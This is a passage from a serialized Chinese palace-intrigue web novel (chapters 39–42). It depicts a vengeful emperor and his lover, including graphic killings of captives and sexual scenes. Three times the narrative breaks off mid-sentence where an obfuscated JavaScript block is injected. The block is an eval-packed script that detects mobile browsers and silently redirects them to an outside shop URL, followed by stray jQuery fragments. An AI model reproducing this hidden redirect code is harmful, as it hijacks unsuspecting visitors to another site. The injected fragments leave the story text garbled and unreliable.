“你!”上官华瞳孔剧震,整个人僵在原地。他胸膛起伏剧烈,脸色瞬间惨白,吐出最后一口肉渣,猝然干呕起来。“你疯了……”
赵长昭却只是低笑,仿佛终于听到了最悦耳的哀嚎。
“疯?”他轻声重复一遍,又回头望向胡玉烟,“疯了才配你我二人,不是吗?”
胡玉烟回以一个盈盈浅笑。
欣赏完上官华的丑态,赵长昭接过下人递来的匕首,胡玉烟却执拗地将匕首从赵长昭手上夺过来。她平静异常,一步步走近,在上官华的脖颈处轻轻一抹,血液飞溅,上官华瞪大了眼,只挣动了一下便很快没了气息。
胡玉烟的脸上溅了血,沿着下颌蜿蜒成细碎的弧线。识趣的侍卫连忙递了锦帕,赵长昭捧着胡玉烟的脸仔细为她擦拭。
四目相对,两人忽而默契地大笑起来。赵长昭干脆将脏污的锦帕丢弃,薄唇贴上她的面颊,将那些尚未擦净的血吻了一遍又一遍。最后两人唇齿相依,腥甜在舌尖化开。
39. 木棉(二)
胡玉烟恍惚间抓紧了床前的纱帘,腕上一用力,整张纱帘被拽下,如流云般落到两人身上。
赵长昭任由那朦胧的月白轻纱盖住胡玉烟半张脸,道:“朦胧见美人,甚有趣味。”
他的指尖循着纱帘的轮廓游走,从微蹙的眉尖,到轻颤的眼睫,最后停在那紧抿的唇畔。他在她唇畔一寸处流连,又隔着一层薄纱将唇印上她的。温热透过经纬传来,似吻非吻,胡玉烟不由得绷紧了脊背,喉间溢出一声极轻的呜咽。
胡玉烟的呼吸渐渐急了,纱帛随之微微起伏,她忽然仰起脸,纱幔滑落,露出那双染了薄怒也染了情的眼。
她起初与他一道沉沦,后面终是有些忍受不了,她叫赵长昭慢点,可他充耳不闻。
“玉烟说什么?”他俯身,气息拂过她耳畔。
胡玉烟报复般在他手背上咬出红痕。
纱帛在两人的动作间反倒将二人缠在一起,比直接的触碰更让人难耐。
“我饿了……”玉烟的话中带着几分撒娇的语气。
赵长昭放缓了动作,直到渐渐停下。
胡玉烟闭着眼平复着呼吸,在金丝软枕上蹭了蹭被逼出的泪水。赵长昭搂着她,与她温存,又按耐不住想要挑拨。
胡玉烟干脆握住他的手,与他十指紧扣。赵长昭笑笑,亲了亲那手背,又用另一只手将胡玉烟染了汗水的鬓发抚到耳后,“我让人把点心端上来?”
胡玉烟摇摇头,眼尾还泛着红,嘴唇微肿,连脖颈都还残留着属于他的气息。她有气无力地道:“不想吃了。”
赵长昭见她实在乏累,又将人抱紧了些。一炷香之后,胡玉烟由睡转醒,焦躁地揉了揉额角。赵长昭察觉到动作,立刻睁了眼,露出满眼清明。
胡玉烟有些懊恼于自己的狼狈,她半撑着身子去寻散落在各处的衣裳,赵长昭一手撑住头,看着她动作。
胡玉烟被这道目光看得有些羞怯,却只能默默地背转过身去。她与赵长昭同寝同眠,又任由赵长昭索取无度,自己在欲望中深陷,可事后总有些难为情。
胡玉烟整理好了仪容,门外传来了宫人的脚步声。
赵长昭只披了一件外裳,拿起托盘上温热的药碗,挥挥手命宫人退下。
“玉烟今日的药还没有喝。”
浓重的苦味扑面而来。胡玉烟闭气想要一饮而尽,却在药汁触到唇畔时猛地偏过头去,一阵剧烈的恶心涌上喉头。
“我不想喝了……”胡玉烟皱了眉头,她从城楼上坠下,侥幸捡回一条命,靠着一碗碗苦药吊着性命,累月下来伤势在渐好,这药越发难以入口。
赵长昭从罐子中取了蜜饯,解释道:“派去崖岸寻药的人九死一生,药引看样子是要绝迹了,这药喝一碗便少一碗。”
胡玉烟心中清楚此药珍贵,又酝酿了一刻方将汤药悉数咽下,随后捏了块梅肉在嘴里嚼开。下一刻,挥之不去的恶心感立刻涌上,胡玉烟终是没忍住,扶着桌脚将咽下去的汤药全数吐了出来。
赵长昭吓了一跳,替她拍着背顺气,他满脸担忧,却打趣道:“玉烟莫不是有了?”
胡玉烟也轻笑出声,她想说赵长昭明明清楚她再也不会有孩子,却被咳嗽止住了话语。
她摇了摇头,终究是有些心疼被浪费了的汤药。又觉得浪费如此多人力物力,就为了吊着她一个将死之人的性命,她凭什么呢?
“以后都不喝了吧……”胡玉烟的话里带着无可奈何。
赵长昭扯了扯嘴角,“我与你说着玩呢,最好的药引没了,我便去寻替代品,我是皇帝,什么东西要不了?玉烟的药一碗都不能少。”
胡玉烟心里升起一股躁意,冷着脸却没有反驳,很快慧儿又端了一碗新药上来。
胡玉烟服了药,带着一夜的疲累沉沉睡了一觉,等她醒来,宫人道是赵长昭邀她去马场一叙。
眼下日头正盛,马场前搭了一座高台,赵长昭将一柄雕金嵌玉的长弓递至她手中。
“这是?”
赵长昭拍拍手,几十名披头散发的囚犯被人从囚车中拖了出来。
“这些是上官家的宗亲,皇后入主中宫,依礼法颁了赦令。可怎么能放过他们?上官家的一根草都不能留。”
赵长昭的语气中带了得意,“诏书上写着流放千里,实则奔波了一圈又回了京城,今日刚到。”
胡玉笑出声,觉得赵长昭折磨人的方式十分有趣。
她抬眼望去,忽然认出人群中一名面容熟稔的老妇。胡玉烟缓缓搭弓,箭羽划过风声,眸中无一丝波澜。
“玉烟好箭法!”赵长昭鼓掌大笑,随后自己也搭弓搭箭,一箭射穿了另一名年少男子的肩头。
男子扑倒在地,血流如注,却仍拼命爬向墙角,赵长昭又补了一箭,这次正中后心。
胡玉烟大笑起来,看着在马场四下逃窜的人群,今日的愁容都烟消云散。看到这些血、这些挣扎、这些绝望,她才知道原来复仇也可以让人上瘾。
她又射出了一箭,可惜没中,心中的快意不减,她机械地重复着搭弓射箭的动作,带着些疯癫。
赵长昭眉飞色舞,道:“我尚不知玉烟箭术甚好,可开心?”
胡玉烟笑得明媚张扬,点点头偏头看向赵长昭,从方才的失态中抽离。她心底最不可见、最不堪的黑暗,都被他一点一点挖出来,举到阳光下,告诉她这也没关系。
风愈发大,台下血流汇成一道浅沟,囚犯们跪地哀嚎求饶。
风中弓弦尚未散尽余音,赵长昭已掐指算完了方才猎杀的战果。
“玉烟射中了五个。”他手一摊,弯眉咧嘴地笑着,“我射中了八个,还有两个是动不了的,半条命都没了。怎么算,都是我赢了。”
胡玉烟将手中弓放下,挑了挑眉:“那又如何?”
“赢了,自然要赏。”赵长昭眨了眨眼,像在朝她邀功,“玉烟亲亲我吧。”
身后的宫人垂下了头,胡玉烟抬眸看了他一眼,眼底浮着点点笑意,“一身血气,我怕污了口脂。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724245|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你不亲也成,那我亲你。”赵长昭凑得更近,指尖在她下巴上轻轻勾了一下,随即落下一个浅吻。
胡玉烟分明感受到炙热的爱意,复又凑上前吻了吻赵长昭的嘴角。
看着赵长昭眼里自己的倒影,胡玉烟察觉到自己竟沉溺在和赵长昭的温存中,笑容逐渐僵在脸上,原先的欢喜被她掐灭。
赵长昭牵着她的手慢慢往前,连步子中都带着喜悦。
两人走在宫道上,胡玉烟状似随口道:“我听说越国的使臣来了。”
“不错。”赵长昭哼笑了一声,有些烦躁地弹着弓弦,“我白送了五座城池给越国,那些大臣已经气疯了,日日在我耳边念叨陛下三思。”
“可只要能杀了上官楚,五座城池又能算什么?”
胡玉烟抬手抹平了他紧皱的眉头,“我还听说,越国带了一位宗室女,意思是要陛下迎进后宫。”
赵长昭先是一愣,随即咧嘴笑了起来,他眼眸发亮,牵起胡玉烟的手,“玉烟是吃醋了吗?”
胡玉烟想开口,赵长昭却将一指覆在她唇上,生怕她否认。
“我如今是赵国的天子,万人之上,再没人能强迫我。”他额头上的汗珠晶莹发亮,看着胡玉烟的眼神多了几分侵略性,“我只想要玉烟。”
胡玉烟勾勾嘴角,继而道:“你答应过我,郑氏若是生了儿子,便让那孩子当皇帝。”
赵长昭对她有求必应,不论她的念头多荒唐、要求多离谱,他甚至愿意将赵国的江山送到她胡家血脉手中。胡玉烟的心跳快了几拍,有人愿意为她倾尽所有,可她其实没有那么在乎。
“玉烟放心,朕不会食言。”赵长昭答得干脆,脸上的喜悦反倒添了几分落寞。
身后风起,一只灰雀在廊檐啄了几下,又扑棱着飞远了。
三日后,越国使臣抵京,赵长昭爽快地将许诺的五座城池大方献上。
席间,越国使臣又献上一女子,称两国愿结秦晋之好。
郑黛身着华服,满头珠翠,端坐在皇后的宝座上,打量着这位娇俏的越国女子。
她又悄悄侧过头,去看坐在她旁边的赵长昭。掌权后的少年帝王眉眼愈发清冷沉静,偏生唇角带着温和笑意,举止有礼,却疏离得仿佛置身事外。
郑黛摸着自己隆起的小腹,看到那女子,居然生出几分释然与期待。
她惧怕赵长昭,却也好奇他究竟是怎样的人。
有佳人进来,还是他国的贵女,赵长昭总不能放着不管吧。哪有皇帝这般年纪还不近女色,连一丝欲望都看不到?
殿中一时寂静,赵长昭大手一挥,直言道:“朕无意多纳后宫。”
使臣面上惊讶,结亲实属正常之举,没想到他会当众拒绝,不禁面子上有些挂不住,进言道:“我越国女德容兼备,陛下不妨留在身边。”
赵长昭端坐着,“朕意已决,使臣回去复命就是,无需多言。”
赵长昭拒绝得干脆,郑黛握紧了袖中的指尖,越发觉得赵长昭是个怪物。
40. 木棉(三)
御花园深处,红墙碧瓦间种着几株海棠,如今花已谢,只余枝影横斜。
秋千架就在花树之下,绸缎编的软绳随着风轻轻晃动,发出咯吱轻响。郑黛在秋千上慢慢荡着,裙裾翻飞,面上带着不谙世事的少年人的欢悦神情。
宫女候在一旁,并不去打扰皇后的兴致。
赵长昭本是路过内苑,远远瞧见这一幕,脚步便顿了。
他站在回廊下,神色一时说不清是冷淡还是烦闷。
郑黛尚未察觉,只觉风拂面颊,秋千一上一下,竟是入宫后未有的轻快自在,轻轻笑了出来。
这笑声却像钩子,瞬间将赵长昭的脸色拉得阴沉。
“你在做什么?”他声音冷冷地落下,吓得宫人们连忙跪倒。
郑黛这才回过神来,连忙收了脚步,从秋千上下来,行了一礼。
赵长昭走近两步,目光冷淡地扫了眼秋千架,声音淡得听不出情绪,“你是赵国的皇后,举止该有皇后之仪,以后不许再荡秋千了。”
郑黛怔了一瞬,低眉应道:“臣妾知错。”
直到赵长昭走过,郑黛才忐忑地把头抬起,她皱了眉,觉得莫名其妙,既然立了这秋千架,为何又不许人坐?
宫女上前扶住她,郑黛自知不能多思多言,赵长昭的喜怒无常让她很是不安,一直到午时同胡玉烟进香祭拜时才敛起情绪。
春日微风自窗棂穿过,吹动案上的灯火微微摇晃。她说这些日子总是心神不宁,想来佛堂拜一拜,胡玉烟主持内宫,也来相陪。
郑黛端坐在高位,听着特意从京郊赶来的高僧诵经,胡玉烟则静静地站在她身侧。
高僧献上一枚佛牌,让郑黛供在宫里,可免受邪祟侵扰,郑黛笑着应允。
她燃了三炷香插在案头,恭敬地拜了拜。
四周烟雾缭绕,散着热气。忽而佛龛下侧传来一声轻响,郑黛定睛一看,却是一扇小暗门此时微微敞开了。
“这我倒从没见过,可是供奉的暗舍?”她心生好奇。
胡玉烟注意到了,随口应道:“应是僧人收纳香资之处吧。”
郑黛觉得有趣,命人将小暗门彻底打开,里面竟有一只锦盒。这锦盒乌木嵌银,雕有飞鹤祥云之纹,像是有些年头了。
“这盒子……怎的藏在这等地方?”郑黛起了疑,轻轻拨开盒盖。
只见盒中静静躺着一幅卷轴与一封书信。那卷轴系以红绳,纸角微翘,似是多年未曾展过,书信被封好,信封上并无字迹。
郑黛还想一探究竟,胡玉烟脸色一变,几步上前想将锦盒夺过来,“皇后娘娘,那……那是旧物,脏污不堪,还是莫看了。”
郑黛望着她眼底的慌乱,眼神忽而变了。
胡玉烟低垂眼睫,整个人都绷得死紧。
郑黛看她失态,心中泛起波澜,僵着手指将盒盖缓缓合上,声音也沉了几分,带着顺从道:“我不懂这些,此物便交给胡尚宫处置吧。”
她将锦盒递给胡玉烟,看着她的指节一点点变白,才又偏头望向窗边那一缕沉沉香烟。
她以为胡玉烟会说些什么,对方却僵着身子,一言不发。郑黛心里钝钝的,不再深究,唤来随侍的紫环,在侍女的搀扶下先一步离开。
胡玉烟捧着锦盒,脸上重新挂好让人挑不出的笑意,她朝郑黛欠欠身,目送着她远去。
郑黛行至御道时日头已斜。恰在此时,前方一队仪仗缓缓而来,白绫软车、雕纹华盖,车上帘幕半卷,露出女子侧影。
“娘娘。”紫环低声提醒,紧接着附耳道:“是新进的贤妃,今日才封的。”
“贤妃?”郑黛一愣,脚步一滞,眉眼间掠过一丝讶异。
她目光落向那乘车女子身上,却见那女子正是越国使臣送来结亲的贵女。知赵长昭终究将越国女封妃留下,她霎时间竟松了口气。
胡玉烟一路失魂落魄,回了住处后,她将锦盒置在案几上,盒子大敞着露出里面的物件,不过一幅画卷和一封书信。她已经一动不动地坐了一炷香的时间了,只是看着却没有拆开的勇气。
窗外的风吹动帘子,烛火轻轻晃了晃,她终于伸出手,缓慢地打开那幅画卷。
这幅画显然被人刻意撕碎过,后又小心翼翼地装裱起来的,如今在锦盒里躺了这么些年才重见天日,画面上处处皆是斑驳裂痕。
看着画卷,胡玉烟轻笑出声。
这是当年还在王府时,赵长曙亲手所绘。画中她坐在秋千架上,赵长曙与赵长昭一左一右站在她身后,正轻轻推着她荡起。后来赵长曙入宫为帝,这幅画便留在了王府,最终归了赵长昭。
再后来这幅画被高皇后撕毁,想不到竟然又被人细细裱好了,可惜裱得再好也有裂痕。
画卷下,那封未拆的书信静静躺着,带着某种未竟之言等待着她揭开。
胡玉烟颤着指尖,将信封撕开,抽出其中一纸薄笺。
只见开头写道:“吾妻玉烟,夜雨初歇,灯下书此一纸。”
她眼神微颤,下意识望向落款处,赫然写着“景元五年”四字,正是赵长曙殒命的那一年。
她轻轻闭了闭眼,心头缓缓泛起一种久违而细微的刺痛。
那一年,她终究未能见他最后一面。
她又一字一字看去,“忆昔初见,桃花映水,卿一笑而我心折。你我夫妻携手不过二载,于我却如千年。曾共执灯夜行,曾共听雪煮茶,曾以书传情,亦曾以眼送别。”
胡玉烟嘴角缓缓勾起一丝笑意,然而那笑意却苦得很,那些旧事她竟已快要记不清了。
她抿唇,一字一句读下去:“而今误入帝王家,身陷金枷玉锁,为权臣所制,徒作傀儡,步步筹谋,昼夜惊心。又负卿情,令卿深陷宫闱之祸,身受冤屈。念及此,五内俱焚。误卿至此,实为夫之不肖。”
“朕不配为人夫,更不配为君。此生已误,唯愿卿余生平安喜乐,莫再忆我。若得善缘,另择良人,朕虽死亦含笑。”
字字沉沉,句句如石
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740964|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她读到此处,心口已是一片麻木。这些字像是从地底深处伸出的手,将她拖回那个雪夜孤灯前、等不到人影的自己。
她含着笑带着泪看着信纸,又颤着手将信翻转过去,见背面潦草写着一行字,她废了些神才辨认。
“今生已矣,来世之约终成空许。若哪日大雪覆山河,卿闻风声似人语,那便是我了。”
眼前风雪仿佛重现,胡玉烟本是想笑,却不知何时泪已滑落面颊,她没能同赵长曙走完这一生,他化成飞灰,只剩这只字片语、这一纸旧画。
骗子……她心底默念,鼻尖发酸。
这个人将深情写在信上,为什么不交给她?又为什么要在多年后,令她机缘之下寻得?让她独自读完,独自落泪,伤心至此?
疼意来得没有预兆,胡玉烟抬手按向心口,却越按越疼,像是有人用手狠狠揪住她的心脏往下扯。
膝骨发软,脊背隐隐发麻,肋骨像撞上过硬石似地隐痛。
她知道自己从来没有真正好过,再好的药材用在她身上也无济于事。
胡玉烟微微弓身,被迫向痛意屈服,痛痛快快地哭了一场。她藏起来的旧伤被剥开,泪水一滴一滴全落在信纸上,落得字迹晕开,再看不清。
她捧着那封信许久,眼神空茫地望着那幅被重新装裱的画卷。画中春光正好,男子推着秋千,女子回眸含笑,赵长昭尚未长成,举目却是天真欢喜。
那明明是她曾想留住的光景。
额角冷汗簌簌滑落,胡玉烟起身,将信与画一同放入铜炉中。火焰舔过纸页,一切统统化作飞灰,消散在檀香缭绕中。
她不要了,不想再割着一块又一块的心苟延残喘,她要活不下去了……
郑黛正同往常一样沿着回廊散步,可不多时,她忽然注意到前方有两名内侍正缓缓抬着什么。那东西被白布严严实实盖住,布角垂落,随着步伐轻轻晃动。
郑黛立刻僵在原地,偏偏那两名内侍见了皇后还对她躬身行礼。
下一刻,一截惨白瘦削的手臂从白布下滑落出来。
郑黛心口狠狠一跳,意识到那个方向是皇帝的寝宫。
她立刻想到白日宫人说的,赵长昭改了主意封了越国贵女为贤妃,今日宣的贤妃侍寝。
郑黛的脊背迅速发凉,宛如冰水从颅后一路浇入骨髓。她升起一种预感,好像不久就要轮到自己被白布盖上的那一天。
她猛地转身逃跑,身后似有恶鬼在撵,很快便将随侍的宫女远远甩开。
她跑得气喘如丝才停下,紧接着意识到自己不可能跑出皇宫。
她一手扶住宫墙,抬头时正看阿娘就在不远处的廊下。
“娘——”她带着哭腔扑进郑夫人怀里。
郑夫人猝不及防,被她撞得向后退了半步,一时间不知道发生了什么。她出声安慰,郑黛却晃着头,什么都不肯说。
宫女们却没有丝毫慌张的意思,依旧慢步跟在后面,静静看着这位新皇后落荒而逃。
41. 丁香(一)
胡玉烟不知什么时候睡了过去,她醒来时,赵长昭正躺在她身边安眠。
夜深风静,殿中纱帐低垂,铜炉里香烟轻绕。
心中平静了许多,胡玉烟将自己贴进赵长昭怀中,赵长昭下意识摊开手臂接纳她。
夜色寂寥,她无法将眼前人的面容看得真切。眼睛睁开又闭上,她恍惚间以为自己看见的是另一个人。
赵长昭呼吸绵长,眉头微拧,可能梦见了什么不太好的事情。胡玉烟又贴近了几分,一声声数着他的心跳,直到再次睡去。
赵长曙从未踏入过她的梦,可今夜,他却穿越重重迷雾,缓缓向她走来。经年未见,他的面清晰得近乎真实,胡玉烟心头一震,本能地向后退了一步。
下一瞬,赵长昭忽然出现,毫无预兆地伸手握住她的手掌,力道强硬,宣告般地看向赵长曙,语气坚定:“我与玉烟两心相悦,望兄长成全!”
赵长曙神情一滞,眉宇轻蹙,眼神定定地望着两人,那目光里看不出悲喜,唯有压抑的沉默。
胡玉烟怔住了,她没有放开赵长昭的手,只是唇齿微张,一时间竟不知如何回应,喃喃出声:“长曙……”
赵长昭缓缓睁眼,手还搭在她的肩头,指腹轻轻摩挲着她的肌肤。
忽然,他听见她低低地呢喃了一声,声音极轻,却唤得极真。
“舒郎……”
赵长昭指尖微顿,整个人僵住了。
他垂下眼,目光沉沉地望着怀中的人,胡玉烟似乎并不自知,仍在梦中。
赵长昭只觉得心像被一根钝针一点一点地扎着,不疼得剧烈,却钝钝隐隐,一下一下地勒住他的气息。
良久,他抬手,将她额前的碎发拨到耳后,俯身在她耳边低语道:“你就这么忘不了他吗?”
“什么?”胡玉烟被突然的问句惊醒,她猛得睁开眼,面露迷茫。
赵长昭正直勾勾地盯着她,胡玉烟吓了一大跳,想坐起身子,却被按住脖颈。赵长昭的吻带着狠劲落了下来。
胡玉烟吃痛,尚不知发生了什么。她咬上赵长昭的舌尖表达自己的不满,又跟着他的节奏一起沉沦。
“秀郎做噩梦了吗?”喘息间,胡玉烟问。
赵长昭摇摇头,额贴着她,“不是噩梦,是真的。”
他话音一落,加重力道,再次吻上她。
胡玉烟被压在榻上,呼吸紊乱,理智被渐渐丢掉。
她开始急切地回应他,不断催促赵长昭快一些,重一些。她紧紧抱住他,掌心摩挲着脊背上生起的薄汗,有点迷恋上这种感觉,靠着这点欢愉驱散经年累月的痛苦。
赵长昭忽而停下,盯着她,眼底混着恐惧与占有,“你笑什么?”
“什么?”
“赵长曙也能让你这么快乐吗?”
胡玉烟拧了眉,被迫仰头,指尖颤着攥紧他的衣襟。浑身传来的酥麻感令她恍惚,赵长昭的问话仿佛带着某种蛊惑。
“他不能。”一滴泪自眼角滑落,沿着鬓边滑入发丝,胡玉烟实话实说,“我一想到他,就觉得漫天风雪压下来。”
她的睫毛抖着,泪水越落越快。
“他让我往前走,可我找不到归处。”
“只有无穷无尽的冷。”她哽着,声音破碎。
赵长昭皱了眉,不理解她话中的意思,只是发了狠,胡玉烟拥住他,她被吻得几乎喘不过气,那痛楚伴着情欲让她发抖。
她目睹赵长昭的执拗与热烈,理智告诉她,过去已死,不必再回头。
赵长昭花了两月时间,彻底铲除了上官一族及其余孽,他将上官楚的头颅做成酒具,里面盛着清酒,贡在赵之明和赵长曙的灵位前。
宫中钟鸣三十三响,昭告天下上官家伏诛。
大仇得报,他将一壶酒尽数饮下,竟生出了些茫然感。那些年里支撑他活下来的仿佛就是那一口血债,他将满腔恨意一点点研磨成利刃,如今那刀终于刺进仇人心口,可他的手却在颤。
夜里他坐在龙榻之上,殿中只点着一盏宫灯,昏黄的火光将影子拉得极长。上官楚抽走了他的傲骨,只留给他一身残败的皮肉。
这世上,他已经没什么可以再失去的了,除了内殿熟睡的人……
胡玉烟从未真正属于他,哪怕她日日陪伴在侧,哪怕她在他怀中轻唤“秀郎”,他依旧觉得,她随时会从指缝里流走。
他原本以为,复仇之后,所有的不甘、屈辱、恐惧都会随上官楚的死一同灰飞烟灭。
可没有。
他仍旧睡不好,梦里一遍遍回到少年时缩在墙角的自己。
朝会上,大臣得意地向赵长昭禀报,陵墓已定好了位置,现下正在加收赋税,广征壮丁,不日即可开工。
赵长昭回了声“妥”,又命将成文二帝的陵墓也修整一番。
这时,一名身着紫袍的老臣踉跄奔入殿中,语气慌张,脸色铁青。
“陛下、陛下!万万不可——”
赵长昭淡声问道:“爱卿如此惊慌,是出了何事?”
老臣已跪倒在地,重重叩首,他踉跄着起身,大力推开上前搀扶的内侍,疾声道:“陛下!那两万将士为国征战多年,陛下擅诛军士,岂不寒了天下之心!”
赵长昭一笑,语气却冷:“御史闯入内宫,是为此事?那些不过是上官楚的亲兵,你觉得朕不该杀?”
“陛下!”曹御史几近哀求,“当今四境未定,越国窥伺,我军兵力本就薄弱,若此时自毁长城,实乃误国之举!”
赵长昭蹙了眉,“人朕已经杀了,那御史以为如何呢?”
“臣恳请陛下下罪己诏,安抚军心!”
赵长昭冷冷一笑,“依你之见,朕成了罪人?”
“陛下擅杀无辜——”
话未说完,赵长昭猛然起身,抄起面前的砚台砸向地面,发出一声巨响。
“御史怕是真糊涂了,上官楚是何人你不知吗?他弑君夺权,把持朝纲!那些人皆是余党,朕杀他们是清君侧、正国脉!”
他眼神冷冽如刀,“你滚回自己府上去!朕念在你是老臣,又不曾与上官楚为伍的份上不与你计较,你不要自讨苦吃!”
“陛下!”曹御史怒目圆睁,“陛下因一己私怨杀戒无辜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749836|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,此举与暴君何异!”
曹御史正色高呼:“臣请陛下下罪己诏,并设祭坛,为枉死将士超度!”
他跪下,声音洪亮:“臣死谏!”
赵长昭气急,将案几上的酒盏全部掀翻在地,殿外立刻涌入数名侍卫。“曹卿不必死谏,来人,拖出去砍了!”
“陛下——”曹御史怒喝一声,话未说出口,立刻被人架了出去。
殿内恢复平静,只剩满地狼藉,宫人很自觉地上前来收拾。
赵长昭却突然发了怒,一脚踢向地上的酒壶,“滚!都滚——”
宫人吓得一颤,连忙欠着身子退下。
他不是天生嗜杀,赵长昭的胸腔里有一口气,一直压着,压到骨头都变形,这些人都不愿意听他说一句疼。
赵长昭在御书房批完最后一封奏折,他没有去找胡玉烟,反而差人去唤她来。
他没有等太久,胡玉烟来时穿着墨绿的官服,裁剪利落到连余布都不肯拖沓,宽袖垂落,肃然端正。头发一丝不苟地束起,藏进官帽中。
好像她不是来见他这个男人,而是来见皇帝。
赵长昭回味着前夜胡玉烟在他怀中的意乱情迷,忽而后悔答应让她以女官的身份留在后宫。
“陛下?”胡玉烟话带疑问。
赵长昭浅笑了一下,随后起身,钥匙在锁孔转了转,久未打开过的密室开了一角。
赵长昭半个身子踏进黑暗里,他回身朝胡玉烟伸出手。
胡玉烟没有犹豫,握上了那手,同他一起步入其中。
密室中的一砖一瓦都与从前依旧,只是久不曾有人踏足,蒙上了一层厚灰。
看着物是人依旧,胡玉烟起初是平静,后来心中渐渐升起一股异样情绪。
赵长昭看着她,一如往昔那样温柔,却又带着点说不清道不明的诡谲意味。
他缓缓蹲下身,指尖拂过她鬓边的乱发,温柔得近乎可怖,“朕的圣旨已经发往尚书台,封玉烟为宸妃,等孩子出生,朕便废后改立。”
胡玉烟呼吸一滞,赵长昭将她十指扣进自己的掌心,继续道:“从今后,你我夫妻一体,生同衾,死同穴。”
“玉烟,唤我一声秀郎吧。”
胡玉烟抿紧了唇,怔怔地看着眼前人。宫灯摇晃,光影映在她脸上,仿佛替她做出了千种表情。
赵长昭低头,鼻息贴着她耳侧。
他以为,只要他变强,只要他亲手掀翻这座宫廷、坐上最高的位置,胡玉烟就会回头看他一眼。他会配得上她,他会让她忘了赵长曙。
可她没有。
她会顺从地应他,会柔顺地伏在他怀中,可她从未像望着赵长曙那样望过他,哪怕一次也没有。
赵长昭忽然觉得心里空得厉害,又闷得要爆裂。他把所有真心都裹进温柔里,生怕露出锋芒。
可如今呢?
他已经是皇帝,可以随意处置那些忤逆他的人。血能让人记住,恐惧能让天下安静,犹豫只会让鬼魂再次缠上他,让刀锋落在他脖颈。
他只是想留住胡玉烟,他这个小小的愿望该得到满足。
42. 丁香(二)
郑黛一连好些日子不曾见到胡玉烟,差人去寻,宫人也都称没见过。许是孕中多思,自那日见了越国女的下场,知赵长昭暴虐成性,便害怕胡玉烟是遭了他的毒手。
当初是胡玉烟救下她,将她从宿州带来元都,又对她多加照顾,她本能地信任她。郑黛越想越难过,她依旧派人去打听胡玉烟的下落,却都无功而返。
一个大活人就这么无声无息地消失在皇宫了,郑黛看赵长昭的眼神更是多了几分恐惧。
如今快入秋了,风从长廊尽头吹来,带着几分凉意。
郑黛那日偶觉闷倦,执意出去透气。她缓步行至御苑石桥处,远远便看见前方一对男女并肩而行,其后还跟着各色宫女内侍。
郑黛愣住了。
见那女子素衣随意披在身上,衣带松松系着,仿佛只是从午睡中醒来便被人拎出宫门晒太阳似的。而走在她身侧的人衣冠整肃、容色冷俊,却不知为何微微俯身,正耐心与她低声说着什么。
正是胡玉烟与赵长昭。
见胡玉烟还好端端活着,郑黛抑不住的惊喜,紧接着又是疑惑,可她既然好好的,为何不来看她?宫人为何又说寻不到胡尚宫?
赵长昭垂眸笑了笑,神情温顺,甚至带着几分亲昵。可胡玉烟回头时,那笑意就淡淡的,叫人看得发冷。
郑黛的指尖轻颤,她几乎认不出那是她所熟悉的胡玉烟。
那人在她面前温婉柔和,如今眼底却是无波无澜的平静,像一潭被封了冰的水,既不动,也不暖。
郑黛觉得她定是受了赵长昭的欺辱。
见他们走近了,郑黛连忙寻了地方躲避,随侍的宫女也都同她一起躲在假山后面,一行人都小心翼翼生怕被发现了。郑黛见这场面觉得有趣,她宫中的宫人都没什么人情味,却不想也同她一样惧怕赵长昭。
一直等到赵长昭他们离开,郑黛才松了口气,她没了游玩的兴致,只想快些回自己宫里。
回廊幽深,红漆柱影在地上被斜日一阵阵拉长。她走得有些急,正走到殿门前,一阵急促的脚步声忽然传来。
“母后——”
郑黛还未来得及抬头,一个不小的身影就直直撞进了她的怀中。
郑黛如今才十七岁,实在不习惯自己多了个九岁的养子,她笑得尴尬,仍是装作慈爱替赵云晋擦了擦额头上的汗水。
“母后去哪了?”赵云晋问。
郑黛抚着他的背,“就随意出门走走。”
“母后日后少出门吧。”赵云晋冷不丁的冒出这么一句话。
郑黛脚步一顿,下意识就要问:“为何?”
少年摇摇头,牵着她的手继续往内殿走,“外面都不安全。那些人都不将母后放在眼里,等我日后……我长大了,母后便可想如何便如何了?”
郑黛的手指颤了颤,立刻四处看了看,幸而随行的宫女都离开了。她皱了皱眉,很是诧异一个孩子怎么能说出这样的话,某非他们赵家的人都这般吗?
一入内殿,她不动声色地将手抽出,俯下身像哄自己弟弟那样道:“母后累了,云晋自己去读书好不好?”
赵云晋朝她行了礼,立刻便跑开了。
郑黛松了口气,紫环早已候在门口,见她回来,忙迎上来。
“皇后娘娘,夫人在殿里候着呢,说是给娘娘送安胎药。”
殿内炉烟袅袅,香气浓得发腻。郑夫人坐在软榻上,见她进来,笑意温和:“你这几日没怎么好好歇,我特让人配了安胎汤。宫里气候冷,身子要紧。”
